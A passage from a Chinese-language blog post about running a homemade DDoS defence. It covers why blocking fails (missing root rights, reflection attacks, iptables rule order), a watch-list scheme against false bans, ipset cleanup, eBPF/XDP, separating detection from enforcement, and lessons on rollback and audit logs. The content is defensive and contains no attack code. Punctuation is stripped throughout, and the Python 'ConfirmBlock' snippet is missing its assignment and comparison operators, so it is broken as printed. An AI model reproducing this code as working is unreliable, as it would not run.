Cookie负责扛半连接洪水ipset负责封高频IP源。还有一个细节值得分享如果你的服务器上有Nginx一定要调整Nginx的limit_conn_zone和limit_req_zone。从架构上看DDoS防御应该是多层防线——内核层扛连接、系统层封IP、Nginx层限请求频率、应用层做业务校验。单靠某一层都扛不住层层配合才能达到可以接受的防御效果。4. 常见问题与排查技巧实录4.1 攻击检测到了但拦截不住怎么回事这是我被问到过最多的问题。检测没问题alert也弹了但流量还在涨。排查了之后定位到几个原因封禁动作执行失败iptables命令没有root权限或者容器里没开privileged模式。处理方式是先手动跑一下iptables -L看能不能执行。封禁的IP不对如果你的采样只看了源IP而攻击流量实际上是用反射放大比如DNS反射、NTP反射这时候真正的“攻击源”是反射器单纯封反射器IP效果很有限。这种情况需要转向协议层的限速把对应端口的UDP流量限速甚至丢弃。防火墙规则顺序问题iptables规则有顺序如果前面有一条ACCEPT规则把流量放走了后面的DROP规则就不起作用。默认策略最好改成DROP只放行白名单。规则顺序的坑我踩过。当时服务器上有其他业务脚本自动添加了INPUT链第一条为ACCEPT all的规则导致我的DROP规则永远不生效。后来我调整策略新加的防御规则插入到链的最前面-I INPUT 1并且显式检查现有规则发现冲突的先移走。4.2 误封正常用户怎么办误封是防御系统的原罪。最有效的解法是双重确认 白名单机制。我的做法是检测到可疑IP后不直接进黑名单而是先进一个“观察名单”。观察名单里的IP会在后续2个窗口内持续统计如果流量确实异常再接进黑名单。如果只是单窗口突刺自动从观察名单移除。双确认机制示例class ConfirmBlock: def __init__(self): self.observe {} def observe_ip(self, ip): self.observe[ip] self.observe.get(ip, 0) 1 if self.observe[ip] 2: return True # 连续两个窗口异常确认封禁 return False def reset(self, ip): self.observe.pop(ip, None)双确认机制增加了1个窗口的响应时间2秒但能把单窗口噪声造成的误封率大幅降低。对于正常业务来说这2秒的延迟几乎不可感知。4.3 长时间防御后系统性能下降运行了几天后发现CPU和内存占用逐渐上升。排查结果是两个问题一是日志模块记录了太多细节磁盘空间吃紧。二是ipset里的黑名单不断增大虽然单条查询效率高但定时清理任务没有跟上。解决方案包括日志按天滚动最多保留7天。开启定期清理任务把超过24小时未触发的IP移出黑名单。对系统的运行状态做了图形化监控用的就是最简单的crontab shell脚本 Prometheus exporter。4.4 高频攻击下系统自己被拖垮这是一个比较底层的问题。虽然Python脚本开销不大但如果攻击流量已经到了单核CPU处理不过来的程度检测进程本身就可能被饿死。一个可行的思路是把检测从用户态下沉到内核态比如用eBPF/XDP。这相当于对源IP做哈希统计然后直接把超阈值IP的包在内核网卡驱动层丢弃。但这对开发能力要求高不推荐初学者直接上手。更稳妥的方案是控制面与数据面分离。检测进程只做统计和决策不实际处理流量拦截动作通过独立的系统服务比如systemd service下发iptables规则。这样即使检测进程被挤占已经下发的规则仍然在内核层生效。我最终的生产部署就是这种结构监控进程直接读/proc/net/dev做粗粒度判断检测进程用scapy做细粒度采样拦截通过ipset一次性下发完全避免了Python层面对大流量的处理。5. 从源码到工程化的几个经验这套系统从最初几百行的“脚本”进化到现在的模块化源码中间经历了好几次重构。我梳理几个工程化过程中的关键经验给想折腾自研防御系统的朋友一些参考。第一监控指标的选择要克制。一开始我恨不得统计所有协议的每一个字段结果就是产出了一堆不知道该怎么用的数据。后来精简成PPS、BPS、CPS、SYN PPS、协议分布这五个核心指标简单直接反而好用。做防御系统先解决“有没有事”再研究“是什么事”别本末倒置。第二防御动作要可回滚。任何自动化的封禁策略都必须在设计之初就把“解封”路径想清楚。ipset的timeout参数是最好的保证——不管脚本怎么崩到点自动放行。如果只封不放终有一天会出大事故。第三要留审计日志。每次封禁和解封都要记日志记录触发指标、当时流量、持续时间。这些日志有两个用途一是复盘攻击手法优化检测策略二是出了误封事故的时候能快速定位原因、给出证据。第四防御系统的测试必须自己做。攻击模拟脚本不能只做一种至少要覆盖单源、多源、混合型。因为真实攻击往往不是教科书式的单一类型更多是几种类型的组合测试用例覆盖不到上线就可能在关键时刻掉链子。最后说一个最深的感触DDoS防御不是一个“搭好就完事”的系统而是一个需要持续迭代的运营体系。攻击手法在变业务流量也在变昨天还准的基线今天可能就失效了。这套源码给你的是一个可以跑起来的骨架真正让它好用的是你对自己业务流量的持续观察和策略微调。我自己的版本升级到现在已经改了十几版检测逻辑每次都是被真实流量“教育”出来的。如果你的业务也经常被DDoS骚扰建议从这套基础版本开始跑起来然后在实战中慢慢打磨出自己的防御经验和策略库。本文还有配套的精品资源点击获取